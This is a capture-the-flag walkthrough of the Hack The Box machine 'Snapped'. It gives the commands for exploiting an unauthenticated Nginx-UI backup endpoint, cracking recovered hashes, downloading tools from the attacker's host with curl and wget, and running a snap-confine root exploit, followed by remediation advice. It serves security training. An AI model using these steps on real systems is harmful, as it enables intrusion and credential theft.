Snapped writeup

Snapped writeup

Box name: Snapped

Difficulty: Hard

OS: Linux

Overview: Snapped is a hard-difficulty machine that features two recent CVEs. The foothold showcases CVE-2026-27944 in Nginx-UI, which exposes the /api/backup endpoint without authentication. The endpoint will produce a full backup of the nginx and nginx-UI configuration files, and includes the key to decrypt the backup in the response headers. This leads to finding and decrypting a weak user password from the Nginx-UI database file. Root exploits CVE-2026-3888, a TOCTOU race condition between snap-confine and systemd-tmpfiles. After the system’s cleanup daemon deletes a stale mimic directory under /tmp, the attacker recreates it with controlled content and single-steps snap-confine’s execution via AF_UNIX socket backpressure to win the race during the mimic bind-mount sequence reliably. This poisons the sandbox’s shared libraries, enabling dynamic linker hijacking on the SUID-root snap-confine binary to compromise the system.

Link: https://app.hackthebox.com/machines/Snapped?sort_by=created_at&sort_type=desc

Machine IP: 10.129.3.225

Ran rustscan against the machine.

rustscan -a 10.129.3.225 –ulimit 5000 -b 2000 — -A -Pn

Added snapped.htb to /etc/hosts. Navigated to the site and also nginx version looked interesting so I looked that up. No robots or sourcecode. Running vhost fuzz with ffuf and directory bust with feroxbuster while I read more about the nginx version.

feroxbuster -u http://10.129.3.225 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

ffuf -u http://snapped.htb -H “Host: FUZZ.snapped.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302

Right away ffuf found admin.snapped.htb so I also ran ferox for that too.

feroxbuster -u http://admin.snapped.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

Time to read more about nginx UI and the nginx version 1.24.0.

Feroxbuster found a /version.json which gave us the version of Nginx UI. Nginx UI 2.3.2.

Found a few exploits but the most interesting looks like CVE-2026-27944 https://thecyberexpress.com/cve-2026-27944-nginx-ui-backup-vulnerability/. “The vulnerability stems from the /api/backup endpoint in Nginx UI, which is accessible without any authentication controls.” When I navigated to http://admin.snapped.htb/api/backup/ it downloaded a backup.

It’s encrypted but it also gives us the key to decrypt in the header response. Here is a github exploit we can use https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762.

python poc.py –target http://admin.snapped.htb –out backup.bin –decrypt

Found a database.db in /backup_extracted/nginx-ui. Read it and we get users admin and jonathan and hashes.

jonathan:$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq

admin:$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvmg

Put them in hashes.txt and tried cracking with hashcat.

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

While that runs I read through the database.db again and his turns out to be an auth token.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJ1c2VyX2lkIjoxLCJpc3MiOiJOZ2lueCBVSSIsInN1YiI6ImFkbWluIiwiZXhwIjoxNzc0MDE1NjUzLCJuYmYiOjE3NzM5MjkyNTMsImlhdCI6MTc3MzkyOTI1MywianRpIjoiMSJ9.3-xEVZ_gL5N9MH6QRtE3ROmyiPpNBT0gUeUxT9IyFts

We get jonathan’s password from hashcat.

Jonathan:linkinpark

Attempted to ssh first and we got it and grabbed user.txt.

Moved linpeas over to the victim machine and ran it.

sudo python3 -m http.server 8080

curl http://10.10.16.27:8080/linpeas.sh -o linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

From linpeas I saw a bunch of things related to snap and considering the box this has to be the path. Googled how to check its version.

snap version

Google exploits and it’s definitely vulnerable for LPE, CVE-2026-388 https://blog.qualys.com/vulnerabilities-threat-research/2026/03/17/cve-2026-3888-important-snap-flaw-enables-local-privilege-escalation-to-root. Found this exploit on github https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE.

Downloaded it to my machine and compiled.

git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

cd CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

gcc -O2 -static -o exploit exploit_suid.c

gcc -nostdlib -static -Wl,–entry=_start -o librootshell.so librootshell_suid.c

Moved them over to the target.

python3 -m http.server 8080

wget http://10.10.16.27:8080/exploit

wget http://10.10.16.27:8080/librootshell.so

chmod +x exploit

Then ran it and we get root.

./exploit ./librootshell.so 

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added snapped.htb to /etc/hosts. Browsed to the site and noted the Nginx version. No robots.txt or interesting source code. Ran feroxbuster and ffuf VHOST fuzzing simultaneously. ffuf immediately found admin.snapped.htb. Ran a second feroxbuster against the admin subdomain which found /version.json, revealing Nginx UI 2.3.2.

rustscan -a 10.129.3.225 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://10.129.3.225 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion ffuf -u http://snapped.htb -H “Host: FUZZ.snapped.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302

2 – Unauthenticated backup download and decryption – CVE-2026-27944 Researched Nginx UI 2.3.2 and found CVE-2026-27944, an unauthenticated access vulnerability on the /api/backup endpoint. Navigating directly to the endpoint downloaded an encrypted backup archive. The decryption key was included in the response headers. Used a public PoC to decrypt the backup and extract its contents. Found a SQLite database at nginx-ui/database.db containing admin and jonathan user accounts with bcrypt hashes and an active JWT auth token for admin.

python poc.py –target http://admin.snapped.htb –out backup.bin –decrypt

3 – Hash cracking and SSH access Placed both bcrypt hashes in hashes.txt and cracked with Hashcat using rockyou. Jonathan’s hash cracked successfully. SSH’d in as jonathan and retrieved user.txt.

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Credentials recovered: jonathan:linkinpark

4 – Privilege Escalation – snap-confine TOCTOU race condition – CVE-2026-3888 Ran LinPEAS and identified multiple snap-related findings. Checked the snap version and confirmed it was vulnerable to CVE-2026-3888, a TOCTOU race condition between snap-confine and systemd-tmpfiles. The exploit wins the race during snap-confine’s mimic bind-mount sequence by recreating a stale /tmp directory with controlled content and using AF_UNIX socket backpressure to single-step execution, poisoning the sandbox’s shared libraries and hijacking the dynamic linker on the SUID-root snap-confine binary. Compiled the exploit and shared library on the attack machine, transferred both to the target, and executed to obtain a root shell. Retrieved root.txt.

gcc -O2 -static -o exploit exploit_suid.c gcc -nostdlib -static -Wl,–entry=_start -o librootshell.so librootshell_suid.c ./exploit ./librootshell.so


Key Takeaways

  1. Unauthenticated backup endpoint exposing encrypted archive and decryption key – CVE-2026-27944 (CVSS 9.8 Critical) – The /api/backup endpoint in Nginx UI 2.3.2 required no authentication and returned both the encrypted backup and the decryption key in the same response, completely negating the encryption. Any API endpoint that handles sensitive data must require strong authentication. Returning a decryption key alongside encrypted data in the same response provides no security benefit.
  2. Version disclosure via /version.json – The Nginx UI version was readable from an unauthenticated endpoint, enabling immediate and precise exploit selection. Version disclosure endpoints must be removed or restricted to authenticated administrators in production deployments.
  3. JWT auth token stored in the application database – An active admin JWT was stored in the database file extracted from the backup, providing a secondary authentication path without requiring password cracking. JWT tokens must have short expiry windows and must be invalidated on logout. Storing active tokens in the database extends their exploitable lifetime.
  4. Weak password crackable with rockyou – Jonathan’s bcrypt hash was cracked using the rockyou wordlist. While bcrypt is an appropriate hashing algorithm, the underlying password was a common dictionary word. All user passwords must meet complexity requirements that make dictionary attacks infeasible regardless of the hashing algorithm in use.
  5. snap-confine TOCTOU race condition enabling root – CVE-2026-3888 (CVSS 7.8 High) – The snap version running was vulnerable to a local privilege escalation via a race condition in snap-confine’s mimic bind-mount sequence. Kernel and system package updates must be applied promptly and snap must be kept at a patched version. If snap is not operationally required, it should be removed entirely.

Remediation

[Immediate] Patch Nginx UI to remediate CVE-2026-27944 (CVSS 9.8 Critical) Update Nginx UI to the latest patched version immediately. Restrict access to the admin subdomain and all Nginx UI API endpoints to authorized management IP ranges via firewall rules. Audit all API endpoints for missing authentication controls and ensure no endpoint returns sensitive data to unauthenticated requests.

[Immediate] Patch snap to remediate CVE-2026-3888 (CVSS 7.8 High) Update snapd and snap-confine to the latest patched version immediately. If snap is not operationally required on the server, remove it entirely using apt purge snapd. Removing the attack surface entirely is preferable to patching where snap has no business justification on a server workload.

[Immediate] Rotate all credentials and tokens extracted from the backup The jonathan and admin password hashes and the admin JWT extracted from the database must all be considered fully compromised. Rotate all affected passwords, invalidate the JWT, and regenerate the application secret key. Audit the backup for any additional credentials, API keys, or configuration secrets.

[Immediate] Remove or authenticate the /api/backup endpoint Require strong authentication on the /api/backup endpoint and all other Nginx UI API endpoints. The decryption key must never be returned in the same response as the encrypted data. Implement separate key management so backup decryption requires a separate authenticated request with an authorized key.

[Short-term] Enforce strong passwords and disable weak password patterns Jonathan’s password was a common band name in the rockyou wordlist. Enforce a minimum password length of 14 characters with complexity requirements for all application and OS accounts. Deploy a banned password list blocking dictionary words and common phrases. Audit existing passwords against common wordlists and force resets where weak passwords are found.

[Long-term] Implement a web application and system component hardening baseline Define a hardening standard covering API authentication requirements, version disclosure endpoints, JWT lifecycle management, snap usage policy, and system package patch cadence. Include Nginx UI and similar web server management interfaces in regular vulnerability scans. Establish an SLA requiring critical and high severity patches to be applied within 72 hours of vendor release.

Leave a comment